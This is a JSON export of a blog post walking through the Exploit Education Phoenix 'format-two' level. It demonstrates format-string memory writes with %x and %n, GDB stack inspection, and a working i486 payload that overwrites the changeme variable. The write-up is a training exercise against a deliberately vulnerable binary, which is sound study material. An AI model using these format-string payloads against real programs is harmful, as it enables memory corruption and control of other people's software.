{"id":556,"date":"2019-07-19T11:06:03","date_gmt":"2019-07-19T15:06:03","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=556"},"modified":"2019-08-16T13:09:02","modified_gmt":"2019-08-16T17:09:02","slug":"exploit-education-phoenix-format-two-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-two-solution\/","title":{"rendered":"Exploit Education | Phoenix | Format Two Solution"},"content":{"rendered":"<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/format-two\/\">http:\/\/exploit.education\/phoenix\/format-two\/<\/a><\/p>\n<p>This time, the <strong>changeme<\/strong> variable isn&#8217;t conveniently placed right next to a buffer that gets filled with the result of format strings from user input. We&#8217;ll need to be able to change memory at a specific location. To do this, we&#8217;ll use the &#8220;%n&#8221; format type, which writes the number of characters written so far to an integer pointer. Take, for example, this very simple program to demonstrate it:<\/p>\n<pre class=\"brush: cpp; light: false; title: test.c; notranslate\" title=\"test.c\">#include &lt;stdio.h&gt;\r\n\r\nint main() {\r\n    int num;\r\n\r\n    printf(&quot;12345678%n\\n&quot;, &amp;num);\r\n    printf(&quot;Number of bytes in the previous line: %d\\n&quot;, num);\r\n    return 0;\r\n}<\/pre>\n<p>Before the<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>function is called, 2 values are pushed onto the stack; the address of the format string, and the address of the <strong>num<\/strong> variable. The &#8220;%n&#8221; format type simply writes the number of bytes written so far to the <strong>num<\/strong> variable.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ gcc test.c -o test\r\n\r\nuser@phoenix-amd64:~$ .\/test \r\n12345678\r\nNumber of bytes in the previous line: 8<\/pre>\n<p>We can take advantage of this in a format string vulnerability. What we write is stored on the stack, it&#8217;s just a matter of finding it. For the input to the format-two program, we start the string with an easy-to-find value, such as &#8220;AAAA&#8221;. Then we search for the value by adding the &#8220;%x&#8221; format type until we get to the 0x41414141 value.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ \/opt\/phoenix\/amd64\/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.   \r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\nAAAA.0.a.0.ffffe596.dad187da.ffffe570.ffffe570.ffffe670.400705.ffffe6c8.400368.Better luck next time!\r\n\r\n$ \/opt\/phoenix\/amd64\/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\nAAAA.0.7.0.ffffe599.ffffe52f.ffffe570.ffffe570.ffffe670.400705.ffffe6c8.400368.41414141.Better luck next time!<\/pre>\n<p>You can see that we&#8217;ll need to supply 12 of the &#8220;%x&#8221; format types to get to the start of our format string. Now, if we replace the last one with &#8220;%n&#8221;, the program will try to write to the address at that position. However, since the value there is 0x41414141, it won&#8217;t be able to:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ \/opt\/phoenix\/amd64\/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n \r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\nSegmentation fault<\/pre>\n<p>Now we should be able to change that to a valid address. Let&#8217;s get the address of the changeme variable. We can use<span style=\"font-family: Courier New; font-weight: bold;\"> nm<\/span>, which will list the symbols (and their addresses) in the binary:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ nm \/opt\/phoenix\/amd64\/format-two | grep changeme\r\n0000000000600af0 B changeme<\/pre>\n<p>So the <strong>changeme<\/strong> variable is at 0x00600af0. Now there&#8217;s two problems here. One of those characters is 0x0a, which is the newline character, which will terminate input to<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>and the rest will be ignored. Also, we would need to include several null bytes to make it an 8 byte pointer. And, of course, null bytes will terminate a string. Plus there&#8217;s the problem of getting that null byte included in the program argument (see the Bash warning below). But typically, we&#8217;d set the first 4 bytes (replacing the A&#8217;s) to be a pointer to the <strong>changeme<\/strong> variable.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ \/opt\/phoenix\/amd64\/format-two $(echo -e &quot;\\xf0\\x0a\\x60\\x00.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n&quot;)\r\n-bash: warning: command substitution: ignored null byte in input\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\n\ufffdBetter luck next time!<\/pre>\n<p>As you can see, only one byte is written to the terminal (0xf0) since the second byte is a newline character (0x0a). That and everything after it is ignored. We also have the Bash warning that the null byte in input was ignored. We can solve the problem of null bytes by putting the address at the end of the format string and including a few extra &#8220;%x&#8221; format types. I&#8217;ll do this in GDB and modify an address on the stack so it&#8217;s easy to see the change:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ gdb -q \/opt\/phoenix\/amd64\/format-two \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/format-two...(no debugging symbols found)...done.\r\n\r\ngef&gt; disas bounce\r\nDump of assembler code for function bounce:\r\n   0x000000000040066d &lt;+0&gt;:     push   rbp\r\n   0x000000000040066e &lt;+1&gt;:     mov    rbp,rsp\r\n   0x0000000000400671 &lt;+4&gt;:     sub    rsp,0x10\r\n   0x0000000000400675 &lt;+8&gt;:     mov    QWORD PTR &#x5B;rbp-0x8],rdi\r\n   0x0000000000400679 &lt;+12&gt;:    mov    rax,QWORD PTR &#x5B;rbp-0x8]\r\n   0x000000000040067d &lt;+16&gt;:    mov    rdi,rax\r\n   0x0000000000400680 &lt;+19&gt;:    mov    eax,0x0\r\n   0x0000000000400685 &lt;+24&gt;:    call   0x4004a0 &lt;printf@plt&gt;\r\n   0x000000000040068a &lt;+29&gt;:    nop\r\n   0x000000000040068b &lt;+30&gt;:    leave  \r\n   0x000000000040068c &lt;+31&gt;:    ret    \r\nEnd of assembler dump.\r\n\r\ngef&gt; b *bounce+29\r\nBreakpoint 1 at 0x40068a\r\n\r\ngef&gt; run AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.\r\nStarting program: \/opt\/phoenix\/amd64\/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 2, 0x000000000040068a in bounce ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500\r\n0x00007fffffffe540\u2502+0x0000: 0x00007fffffffe570  \u2192  &quot;AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.&quot;   \u2190 $rsp\r\n0x00007fffffffe548\u2502+0x0008: 0x00007fffffffe570  \u2192  &quot;AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.&quot;\r\n0x00007fffffffe550\u2502+0x0010: 0x00007fffffffe670  \u2192  0x0000000000000002    \u2190 $rbp\r\n0x00007fffffffe558\u2502+0x0018: 0x0000000000400705  \u2192  &lt;main+120&gt; mov eax, DWORD PTR &#x5B;rip+0x2003e5]        # 0x600af0 &lt;changeme&gt;\r\n0x00007fffffffe560\u2502+0x0020: 0x00007fffffffe6c8  \u2192  0x00007fffffffe8a7  \u2192  &quot;\/opt\/phoenix\/amd64\/format-two&quot;\r\n0x00007fffffffe568\u2502+0x0028: 0x0000000200400368\r\n0x00007fffffffe570\u2502+0x0030: &quot;AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.&quot;\r\n0x00007fffffffe578\u2502+0x0038: &quot;%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.&quot;\r\n\r\n&#x5B;... GEF output snipped ...]<\/pre>\n<p>I&#8217;ll be looking to modify the value on the stack at the address 0x7fffffffe568. Without using the &#8220;%n&#8221; format type, the value after the<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>function is <span style=\"font-family: Courier New; font-weight: bold;\"> 0x0000000200400368<\/span>. With some experimentation, I was able to find the right number of &#8220;%x&#8221; format types to get to where the &#8220;AAAA&#8221; value is stored.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; run $(echo -e &quot;%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\\x68\\xe5\\xff\\xff\\xff\\x7f&quot;)\r\nStarting program: \/opt\/phoenix\/amd64\/format-two $(echo -e &quot;%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\\x68\\xe5\\xff\\xff\\xff\\x7f&quot;)\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 2, 0x000000000040068a in bounce ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500\r\n0x00007fffffffe540\u2502+0x0000: 0x00007fffffffe570  \u2192  0x7825782578257825    \u2190 $rsp\r\n0x00007fffffffe548\u2502+0x0008: 0x00007fffffffe570  \u2192  0x7825782578257825\r\n0x00007fffffffe550\u2502+0x0010: 0x00007fffffffe670  \u2192  0x0000000000000002    \u2190 $rbp\r\n0x00007fffffffe558\u2502+0x0018: 0x0000000000400705  \u2192  &lt;main+120&gt; mov eax, DWORD PTR &#x5B;rip+0x2003e5]        # 0x600af0 &lt;changeme&gt;\r\n0x00007fffffffe560\u2502+0x0020: 0x00007fffffffe6c8  \u2192  0x00007fffffffe8aa  \u2192  &quot;\/opt\/phoenix\/amd64\/format-two&quot;\r\n0x00007fffffffe568\u2502+0x0028: 0x000000020000005b (&quot;&#x5B;&quot;?)\r\n0x00007fffffffe570\u2502+0x0030: 0x7825782578257825\r\n0x00007fffffffe578\u2502+0x0038: 0x7825782578257825\r\n\r\n&#x5B;... GEF output snipped ...]<\/pre>\n<p>As you can see, I was able to modify that value and change it to 0x5b, which is 91 in decimal. Why 91? Well, let&#8217;s run this outside of GDB:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ \/opt\/phoenix\/amd64\/format-two $(echo -e &quot;%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\\x68\\xe5\\xff\\xff\\xff\\x7f&quot;)\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\n0a0ffffe5961a97ffffe570ffffe570ffffe670400705ffffe6c840036878257825782578257825782578257825h\ufffd\ufffd\ufffd\ufffdBetter luck next time!<\/pre>\n<p>If you count the number of bytes that were printed before the start of the address, there are 91 of them. This does not include the &#8220;h&#8221; before the un-printable characters as &#8220;h&#8221; in hex is 0x68, the first byte of the address. I&#8217;m still not sure if I&#8217;ll be able to solve this level in the amd64 architecture. Let&#8217;s try it for x86.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ nm \/opt\/phoenix\/i486\/format-two | grep changeme\r\n08049868 B changeme\r\n\r\n$ \/opt\/phoenix\/i486\/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\nAAAA.ffffd8c7.100.0.f7f84b67.ffffd720.ffffd708.80485a0.ffffd600.ffffd8c7.100.3e8.41414141.Better luck next time!\r\n\r\n$ \/opt\/phoenix\/i486\/format-two $(echo -e &quot;\\x68\\x98\\x04\\x08%x%x%x%x%x%x%x%x%x%x%x%n.&quot;)\r\nWelcome to phoenix\/format-two, brought to you by https:\/\/exploit.education\r\nhffffd8d31000f7f84b67ffffd730ffffd71880485a0ffffd610ffffd8d31003e8.Well done, the 'changeme' variable has been changed correctly!<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This level introduces being able to write to specific areas of memory to modify program execution &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-two-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Format Two Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-556","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/556","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=556"}],"version-history":[{"count":20,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/556\/revisions"}],"predecessor-version":[{"id":675,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/556\/revisions\/675"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=556"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=556"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=556"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}